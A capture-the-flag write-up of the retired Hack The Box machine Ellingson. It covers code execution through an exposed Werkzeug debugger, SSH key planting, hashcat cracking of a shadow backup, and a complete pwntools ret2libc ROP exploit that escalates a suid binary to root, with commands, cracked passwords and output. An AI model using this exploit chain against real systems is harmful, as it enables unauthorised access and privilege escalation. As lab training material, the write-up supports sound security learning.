Tags: hack-the-box, binary exploitation, werkzeug, suid, pwntools, hashcat
Ellingson was a great submission from Ic3M4n, aka @BenGrewell. Initial access was relatively simple, which meant there was plenty of time for that sweet, sweet binary exploitation. This box allowed me to refine my binary exploitation skills. I picked up a few new tricks from @WorldUnruled as well! This was a well made box that took me down memory lane and I thoroughly enjoyed it, thanks to Ic3M4n!
As usual, we start with a masscan
followed by a targeted nmap
.
masscan -e tun0 --ports U:0-65535,0-65535 --rate 700 -oL masscan.10.10.10.139.all 10.10.10.139
══════════════════════════════════════════════════════════════════════════════════════════════
open tcp 80 10.10.10.139 1560162080
open tcp 22 10.10.10.139 1560162080
nmap -p 22,80 -sC -sV -oA nmap.10.10.10.139 10.10.10.139
════════════════════════════════════════════════════════
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 49:e8:f1:2a:80:62:de:7e:02:40:a1:f4:30:d2:88:a6 (RSA)
| 256 c8:02:cf:a0:f2:d8:5d:4f:7d:c7:66:0b:4d:5d:0b:df (ECDSA)
|_ 256 a5:a9:95:f5:4a:f4:ae:f8:b6:37:92:b8:9a:2a:b4:66 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
| http-title: Ellingson Mineral Corp
|_Requested resource was http://10.10.10.139/index
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The target machine appears to be running fail2ban because tools like gobuster quickly start timing out. With fail2ban, we can forego automated tools and take a look around the web site manually instead.
When browsing to the default web page, the following image greets us
Oh, snap! If you’re anything like me, the nostalgia bell got rung really hard right here. Putting nostalgia on hold, we start checking out some of the links.
Going down the line of links on the main page, we notice a trend in the URLs. The first link takes us to an article posted about a virus planted inside the Ellingson Mainframe (http://10.10.10.139/articles/1). The second linked article talks about blocking brute force attacks (which validates our fail2ban suspicion) (http://10.10.10.139/articles/2). Lastly, there’s an article about suspicious activity on the network (http://10.10.10.139/articles/3). The trend in URLS is that we’re accessing articles by an ID passed as part of the URL.
Any time we see incrementing IDs like this, it’s interesting to see what the application does when we specify IDs that the application doesn’t expect. When an application allows us to view and/or modify things that we shouldn’t by changing the referenced ID, the application is said to be vulnerable to Insecure Direct Object Reference (IDOR).
Side note: Even though IDOR got knocked out of the OWASP Top 10 between 2013 and 2017, it’s still alive and kicking in bug bounties. IDOR is a bug class that is relatively easy to recognize and can be simple to exploit; therefore, it’s a good bug class to know!
Ellingson’s site isn’t vulnerable to IDOR. However, recognizing and trying to test for IDOR is the reasoning behind changing the URL to have an ID of 4 when there was no direct link to a fourth article. When we try to access http://10.10.10.139/articles/4
, we see a Werkzeug traceback… Jackpot!
The werkzeug debugger provides a Web Server Gateway Interface (WSGI) middleware that renders nice tracebacks, optionally with an interactive debug console to execute code in any frame. WSGI is one of the technologies that allows web servers to forward requests to web applications written in python. And on the werkzeug documentation page, we have a big red warning:
Danger: The debugger allows the execution of arbitrary code, which makes it a major security risk. The debugger must never be used on production machines. We cannot stress this enough. Do not enable the debugger in production.
When we browsed to a page that didn’t exist, it triggered a python exception. Werkzeug helpfully displayed an interactive debugging session for us to identify what went wrong. Debugging pages are incredibly useful during development, but should (obviously) be deactivated once the site goes live.
Let’s see what we can accomplish through the debugger!
We’ll start by getting our interactive python session running. We need to hover over any of the lines in the traceback and click the small terminal icon on the right-hand side.
With that complete, let’s write a little function to run a facsimile of ls
.
def ls(x): from pathlib import Path;[print(str(p)) for p in Path(x).iterdir()]
There’s some weirdness with scoping in the debugger. Any lambda or function has to have any imports included within the function.
Running our function on /home
shows a few users of which we can take note.
Attempting to run our ls
on any of the users except for Hal gives us a permission denied error, so let’s focus on Hal (the hapless techno weenie!). Within Hal’s .ssh
directory, we see a private key; unfortunately, it’s encrypted. Since we don’t have any creds to try, let’s add our key to the authorized_keys
file.
First, we’ll generate a public/private keypair.
ssh-keygen -f ellingson_id_rsa
With that complete, we can use our python interpreter to append our key to the file.
open('/home/hal/.ssh/authorized_keys', 'a').write('\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkadsZa/yL1L9v6SDs81kc1oZHuddyMTAz9qJ+nxJ9sauMICqD7vOBQx4XMNu5K3oLtNm70sCWqZvYmAb5+FoyOvQ900qTFq2HV/NJZvXcKLDg4FtDd+CHUmeZYx0AKjoJ61gO+uojok8lPxoupAfDWz8gDXCqgUqgd7hQXLokBIoOLclurBz+LVrKj4u+5V1t5nSmOmuxakTMMrQNke0JMU7m5Xgl6MPOOHaPESxawUSEm/c4ZyQ31dPSxphwsU278O9h3Pf5vdECnKRHR7waVOzpig10x8+BVQKhvIB0ht4UDN6AY9xMoZ0cxq9PaVn03rMefMNvJrLSLqmqaZ9v root@kail')
Now, we can use our new private key to access the mainfra..err I mean the target.
ssh -i ellingson_id_rsa hal@10.10.10.139
\o/ - access level: hal
Running the id
command as hal shows that he is a member of the adm group. We can find all the files that are owned at the group level by adm with the following command.
find / -group adm 2>/dev/null
═════════════════════════════
/var/backups/shadow.bak
/var/spool/rsyslog
/var/log/auth.log
/var/log/mail.err
/var/log/fail2ban.log
-------------8<-------------
The first file returned in our search sounds interesting; let’s check it out.
cat /var/backups/shadow.bak
═══════════════════════════
root:*:17737:0:99999:7:::
daemon:*:17737:0:99999:7:::
-------------8<-------------
theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:17964:0:99999:7:::
hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30:17964:0:99999:7:::
margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7:::
duke:$6$bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/:17964:0:99999:7:::
A backup of shadow certainly seems promising, let’s get hashcat running and see what shakes out.
Before we can attempt to crack the creds, we need to save them to a file locally. After that, we can run the following hashcat
command.
hashcat -m 1800 -a 0 ellingson-shadow-backup /usr/share/wordlists/rockyou.txt
═════════════════════════════════════════════════════════════════════════════
hashcat (v5.1.0) starting...
-------------8<-------------
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384
$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:password123
theplague’s password gets identified rather quickly, but we can’t ssh, nor can we su
to theplague. For now, we’ll make a note of his password and keep waiting.
Eventually, margo’s password cracks (~6mins on my machine).
$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:iamgod$08
Armed with a new set of creds, we can attempt ssh again.
ssh margo@10.10.10.139
margo@10.10.10.139's password: iamgod$08
-------------8<-------------
Last login: Tue Oct 1 01:27:26 2019 from 10.10.14.24
margo@ellingson:~$
\o/ - access level: margo
The overall strategy we’ll use is similar to what we did when completing Smasher. We’re going to use the puts
syscall to display the memory address of a function within libc. Once a memory address from libc is known, we can use that to calculate the base address of libc within the binary. After calculating the base address, we can then determine the memory address of the system
syscall by its offset relative to libc’s base to then execute /bin/sh
. Those are the basic steps we’re about to take.
A simple search for suid binaries yields an exciting result.
find / -perm -4000 2>/dev/null
══════════════════════════════
-------------8<-------------
/usr/bin/garbage
-------------8<-------------
Let’s give it a test run.
/usr/bin/garbage
════════════════
Enter access password: stuff
access denied.
Looking at the binary’s strings, we see a potential password.
strings /usr/bin/garbage
════════════════════════
User is not authorized to access this application. This attempt has been logged.
error
Enter access password:
N3veRF3@r1iSh3r3!
access granted.
access denied.
Using N3veRF3@r1iSh3r3!
, we’re granted access and can see some fun Hackers easter eggs.
/usr/bin/garbage
Enter access password: N3veRF3@r1iSh3r3!
access granted.
[+] W0rM || Control Application
[+] ---------------------------
Select Option
1: Check Balance
2: Launch
3: Cancel
4: Exit
> 2
Row Row Row Your Boat...
> 1
Balance is $1337
> 3
The tankers have stopped capsizing
> 4
Nothing unusual sticks out here, and it’s a suid binary, so let’s bring it back to kali for additional testing. Copy the Garbage File!
scp margo@10.10.10.139:/usr/bin/garbage .
════════════════════════════════════════════════════════
garbage 100% 1983KB 494.3KB/s 00:04
Before we begin, we need to know what countermeasures are in place. The first thing we’ll do is determine whether or not the binary is dynamically or statically linked.
file garbage
════════════
setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=de1fde9d14eea8a6dfd050fffe52bba92a339959, not stripped
The important part of the output above is that it is dynamically linked.
Next, let’s run PEDA’s checksec
in gdb
.
gdb -q garbage
══════════════
Reading symbols from garbage...
(No debugging symbols found in garbage)
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
We can see that garbage has a Non-eXecutable stack. The other piece of information we need is whether or not ASLR is on. For Linux systems, checking for ASLR is very simple. If the kernel is newer than version 2.6.12, we simply cat /proc/sys/kernel/randomize_va_space
and view the results. Three are three possible values explained below:
Let’s check what value the target is running.
cat /proc/sys/kernel/randomize_va_space
═══════════════════════════════════════
2
Based on the 2
returned, we now know that ASLR is turned on.
Our next step involves figuring out how to overflow whatever buffer is available to be overflown. We’ve already seen what a typical run of the program looks like, so let’s start by sending it a small number of A
’s.
Let’s build out a small loop to determine how many A
’s we need to send to fill the buffer.
We’ll start with the seq
command. seq START STEP END
is the syntax, we want 20 iterations, beginning at 10 and ending at 200. Each iteration should increment the number returned by 10.
seq 10 10 200
═════════════
10
20
30
40
-------------8<-------------
Then we’ll build our for loop.
for i in $(seq 10 10 200); do echo $i ; done
════════════════════════════════════════════
10
20
30
40
-------------8<-------------
There’s no appreciable difference in the output, but now we can do additional things in the do
block of our for loop.
Specifically, we’ll print the same number of A
’s instead of just the number itself.
for i in $(seq 10 10 200); do python -c "print('A' * $i)" ; done
════════════════════════════════════════════════════════════════
AAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-------------8<-------------
Check out the Additional Resources if either the for loop or
$()
syntax are unfamiliar
Finally, we’ll pass those A
’s to garbage
. The additional echo
at the beginning lets us know how many A
s were sent on each iteration.
for i in $(seq 10 10 200); do echo "Sending $i As" && python -c "print('A' * $i)" | ./garbage; done
═══════════════════════════════════════════════════════════════════════════════════════════════════
Sending 10 As
Enter access password:
access denied.
Sending 20 As
Enter access password:
access denied.
-------------8<-------------
Sending 130 As
Enter access password:
access denied.
Sending 140 As
Enter access password:
access denied.
Segmentation fault
-------------8<-------------
Now we know that 140 A
’s or more will overflow the buffer, causing a segfault.
If you’re familiar with 32-bit binary exploitation, it may be surprising that we’re not going to target the instruction pointer, RIP
(the 64-bit equivalent of EIP
). Instead, we’re going to craft our exploit using Return-Oriented Programming (ROP). More specifically, we’re going to craft a ret2libc exploit. We’re using ret2libc because we have a dynamically linked binary, with a non-executable stack, and ASLR is turned on.
When using ROP, the goal is to use existing instructions within the binary to perform desirable actions. Those pieces of existing code are known as rop gadgets. Each rop gadget will terminate in a ret
instruction. Each ret
instruction moves program control to a return address located on the top of the stack. If we can control what code is placed onto the top of the stack, we can chain multiple rop gadgets together, because each gadget will move program execution to the start of the next gadget. Essentially, the top of the stack takes the place of our instruction pointer.
For a more detailed look at how ROP is structured, take a Return Oriented Programming (ROP) Exploits Explained. The video discusses Windows exploitation, but the concept of how gadgets control execution via the stack is explained well.
To determine precisely how many bytes of garbage we need to send before we get to the stack, we can utilize our PEDA-powered gdb. We’ll use PEDA’s pattern_create
command to generate a 150 character long string and send it to garbage
. After generating the string, we’ll run the binary and use it as the password.
After that, we should see PEDA’s display of the registers, code, and stack. At the top of the stack (and in RSP, i.e. the stack pointer), we see AAQAAmAARAAoAA
. This substring of our pattern marks the point at which we overflow onto the stack.
All we need to do now is to find out exactly how many characters preceded the substring found above. We’ll use PEDA’s pattern_offset
command to see that we need 136 bytes of data to reach the top of the stack.
There we have it; we need to fill the buffer with 136 bytes of data to reach the top of the stack.
If you’re interested in reading about how to do the things in this section manually, please see my writeup on Smasher. I take a lot of time in that writeup to breakdown how to find the proper gadgets, why we select those gadgets in particular, x86_64 calling conventions, and how the stack looks when everything is setup.
Let’s get started with our PoC by grabbing the target’s version of libc
.
scp margo@10.10.10.139:/lib/x86_64-linux-gnu/libc.so.6 .
margo@10.10.10.139's password: iamgod$08
libc.so.6 100% 1983KB 2.3MB/s 00:00
Now that we have the target’s libc and we know our offset, we’ll begin writing our exploit by importing and configuring pwntools. pwntools is almost a must-have, as it dramatically simplifies exploit development.
1import urllib
2from pwn import *
3
4context.bits = 64
5context.arch = 'amd64'
6context.endian = 'little'
7context.terminal = ['tmux', 'new-window']
Next, we read in our garbage file and the libc binary.
9elf = ELF('garbage', checksec=False)
10libc = ELF('libc.so.6', checksec=False)
11
12rop = ROP(elf)
With the binaries loaded, we can begin building our first ROP chain that will leak a memory address from within libc.
15rop.call(elf.plt['puts'], [elf.got['puts']])
16log.info(rop.dump())
elf.plt['puts']
instructs pwntools to find the memory address of the puts function from the Procedure Linkage Table (PLT).
The PLT is used to call external procedures/functions whose address isn’t known at the time of linking. When those addresses aren’t known, they’re left to be resolved by the dynamic linker at run time (recall that this binary is dynamically linked). The PLT is used in conjunction with the Global Offset Table (GOT) to implement dynamic linking. For more information on how dynamic libraries work in ELF files, please check out this fantastic post on the subject.
elf.got['puts']
does mostly the same thing as the code we just discussed, except that it finds the memory address of puts from the GOT. rop.call(...)
says that we want to call the function passed as the first argument with the arguments contained within the list passed as the second argument.
All together, rop.call(elf.plt['puts'], [elf.got['puts']])
says “call PLT’s puts function in order to print the memory address of the GOT’s puts function”.
The line of code after our rop.call
gives us an excellent visual representation of our rop chain.
The fit function, as its used below, generates 136 bytes of filler (recall that’s how much space we need to fill to reach the top of the stack) and then places the rop chain directly after those 136 bytes. The filler plus the rop chain give us our memory leak payload!
18payload = fit({136: rop.chain()})
The next snippet is pretty straightforward. We wait until we receive the string password:
and then send our payload. After that, we read the output until the garbage binary tells us we have provided an incorrect password.
20garbage = process('/root/htb/ellingson/garbage', stdin=PTY)
21
22garbage.sendlineafter('password: ', payload)
23garbage.recvuntil('denied.\n')
If you had difficulty sending and receiving data from your local copy of
garbage
while doing this box, the keyword argumentstdin=PTY
makes sending/receiving work the way you expect.
If all went well, the next line sent after Access denied.
is our leaked address. We’ll read one more line by calling recvline
and removing the trailing newline with strip
. After that, we pad out the memory address to 8 bytes. Finally, we use the u64
function to unpack the 64-bit integer. The following line prints our leaked address.
25leaked_puts = u64(garbage.recvline().strip().ljust(8, "\x00"))
26log.success("leaked puts: {}".format(hex(leaked_puts)))
Finally, with all of that in place, we can give our memory leak PoC a test run.
python ellingson-exploit.py
═══════════════════════════
[*] Loaded cached gadgets for 'garbage'
[*] 0x0000: 0x40179b pop rdi; ret
0x0008: 0x404028 [arg0] rdi = got.puts
0x0010: 0x401050
[+] Starting local process '/root/htb/ellingson/garbage': pid 26059
[+] leaked puts: 0x7fbde8057910
[*] Stopped process '/root/htb/ellingson/garbage' (pid 26059)
Huzzah! That certainly looks like a memory address.
Our next step is to use our leaked address to calculate libc’s base address. Recall that our goal is to use libc’s base address to determine the memory address of the system
function. Here’s what finding the base address looks like in code.
28libc.address = leaked_puts - libc.sym.puts
29log.info('libc addr: %#x', libc.address)
We can run our script again to see the results.
1-------------8<-------------
2[+] leaked puts: 0x7f218b2c4910
3[*] libc addr: 0x7f218b253000
4[*] Stopped process '/root/htb/ellingson/garbage' (pid 20260)
When we get a number that ends in a couple of zeroes for the libc base address, that lets us know that we’re probably doing it right. libc is usually aligned in memory in such a way that it’s common to see base addresses like this end in a few 0s.
We’ve done a lot of good work so far, but if we run our script a few times, we see that our leaked address and libc’s base address change with each run.
[+] leaked puts: 0x7f218b2c4910
[*] libc addr: 0x7f218b253000
-------------8<-------------
[+] leaked puts: 0x7f9a985b5910
[*] libc addr: 0x7f9a98544000
-------------8<-------------
[+] leaked puts: 0x7f137f363910
[*] libc addr: 0x7f137f2f2000
-------------8<-------------
[+] leaked puts: 0x7fa4d9db0910
[*] libc addr: 0x7fa4d9d3f000
My OS is running ASLR, just like the target. Each time the program runs, libc gets loaded at a new address. That means we need to be able to calculate libc and re-exploit the same bug during the same execution of the program. To do this, we’ll call the main
function in our first rop chain.
15rop.call(elf.plt['puts'], [elf.got['puts']])
16log.info(rop.dump())
17
18rop.call(elf.symbols['main'])
19
20payload = fit({136: rop.chain()})
We can see the second execution happen by adding garbage.interactive()
at the end of our current script.
31garbage.interactive()
[*] Loaded cached gadgets for 'garbage'
[*] 0x0000: 0x40179b pop rdi; ret
0x0008: 0x404028 [arg0] rdi = got.puts
0x0010: 0x401050
[+] Starting local process '/root/htb/ellingson/garbage': pid 28734
[+] leaked puts: 0x7f04ca1ca910
[*] libc addr: 0x7f04ca159000
[*] Switching to interactive mode
Enter access password: $ stuff
access denied.
[*] Process '/root/htb/ellingson/garbage' stopped with exit code 255 (pid 28734)
[*] Got EOF while reading in interactive
There we go, we see the leaked address and then we’re prompted for a password again, nice! We’re going to leave the garbage.interactive()
line in our script for now, but all the code we discuss in the following sections will be placed above that line. Let’s go!
One part of this box that caught a lot of people off guard was the fact that the binary itself never called setuid(0)
, even though the binary had the suid bit set. We can demonstrate the fact that just having suid doesn’t necessarily mean that the binary does anything with those elevated privileges. Here’s a simple C program that attempts to cat
the shadow file.
1#include <stdlib.h>
2
3int main() {
4 system("/bin/cat /etc/shadow");
5}
We can compile it and set owner and suid bit appropriately with the following commands.
gcc -o cat-shadow cat-shadow.c
sudo chown root: cat-shadow
sudo chmod 4755 cat-shadow
And finally, run it as an unprivileged user.
ls -al cat-shadow
═════════════════
-rwsr-xr-x 1 root root 16488 Oct 16 19:14 cat-shadow
./cat-shadow
════════════
/bin/cat: /etc/shadow: Permission denied
Womp womp. However, a simple call to setuid
will fix the issue.
1#include <stdlib.h>
2
3int main() {
4 setuid(0);
5 system("/bin/cat /etc/shadow");
6}
We need to run the same commands we did earlier to recompile the binary and setup the ownership/permissions, but after that, we can see the contents of /etc/shadow
!
./cat-shadow
════════════
root:!:18011:0:99999:7:::
daemon:*:18002:0:99999:7:::
bin:*:18002:0:99999:7:::
So, at this point, we need to add a call to setuid
in our second rop chain. First, we’ll reset our ROP variable to clear out our first rop chain. Then, we simply use libc.sym.setuid
. This kind of function lookup works because we set libc’s base address earlier.
31rop = ROP(elf)
32
33rop.call(libc.sym.setuid, [0])
That’s it… easy, right?
We’re getting close to the end; we need to use the system
function to spawn a shell. Here’s what that looks like in code.
35binsh = next(libc.search('/bin/sh'))
We use the .search
method to find the string /bin/sh
in libc. We need to use the next
function because .search
returns an generator. When we’re dealing with a generator we need to request items from the generator. Luckily, next
grabs and returns a single item from a generator.
After that, it’s a simple matter of another rop.call
.
36rop.call(libc.sym.system, [binsh])
Boom! One more section to fill out, let’s do it!
The following code rounds out our exploit script. It’s all code we’ve covered before, so without further ado, we’ll add the following lines to our script and run it.
38payload = fit({136: rop.chain()})
39log.info(rop.dump())
40
41garbage.sendlineafter('password: ', payload)
42garbage.interactive()
43garbage.close()
python ellingson-exploit.py
═══════════════════════════
[*] Loaded cached gadgets for 'garbage'
[*] 0x0000: 0x40179b pop rdi; ret
0x0008: 0x404028 [arg0] rdi = got.puts
0x0010: 0x401050
[+] Starting local process '/root/htb/ellingson/garbage': pid 2060
[+] leaked puts: 0x7f0d1c282910
[*] libc addr: 0x7f0d1c211000
[*] 0x0000: 0x40179b pop rdi; ret
0x0008: 0x0 [arg0] rdi = 0
0x0010: 0x7f0d1c2d8500
0x0018: 0x40179b pop rdi; ret
0x0020: 0x7f0d1c392519 [arg0] rdi = 139694284809497
0x0028: 0x7f0d1c2559c0
[*] Switching to interactive mode
access denied.
# $ id
uid=0(root) gid=0(root) groups=0(root)
BAM! We didn’t get any heinous errors or complaints, so everything is looking good so far. Let’s take our current script and add the logic to run it on target. To do that, we’ll comment out the line where we tell pwntools that we want to execute a local binary on disk.
18payload = fit({136: rop.chain()})
19
20#garbage = process('/root/htb/ellingson/garbage', stdin=PTY)
21garbage.sendlineafter('password: ', payload)
And we’ll replace it with the following two lines that ssh
onto the target before starting the garbage
process.
18payload = fit({136: rop.chain()})
19
20#garbage = process('/root/htb/ellingson/garbage', stdin=PTY)
21remote = ssh(host='10.10.10.139', user='margo', password='iamgod$08')
22garbage = remote.process('/usr/bin/garbage')
23garbage.sendlineafter('password: ', payload)
After those changes, we’re ready to attempt to exploit the remote target.
python ellingson-exploit.py
═══════════════════════════
[*] Loaded cached gadgets for 'garbage'
[*] 0x0000: 0x40179b pop rdi; ret
0x0008: 0x404028 [arg0] rdi = got.puts
0x0010: 0x401050
[+] Connecting to 10.10.10.139 on port 22: Done
[*] margo@10.10.10.139:
Distro Ubuntu 18.04
OS: linux
Arch: amd64
Version: 4.15.0
ASLR: Enabled
[+] Starting remote process '/usr/bin/garbage' on 10.10.10.139: pid 2164
[+] leaked puts: 0x7f0c1bd609c0
[*] libc addr: 0x7f0c1bce0000
[*] 0x0000: 0x40179b pop rdi; ret
0x0008: 0x0 [arg0] rdi = 0
0x0010: 0x7f0c1bdc5970
0x0018: 0x40179b pop rdi; ret
0x0020: 0x7f0c1be93e9a [arg0] rdi = 139689984605850
0x0028: 0x7f0c1bd2f440
[*] Switching to interactive mode
access denied.
# $ id
uid=0(root) gid=1002(margo) groups=1002(margo)
# $ cat /root/root.txt
1cc73...
Nice! Before we call it quits, the exploit script can be viewed in its entirety below, as well as in my HTB Scripts for Retired Boxes repository. Also, I can’t go out of this post without at least one…
\o/ - root access
I hope you enjoyed this write-up or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus.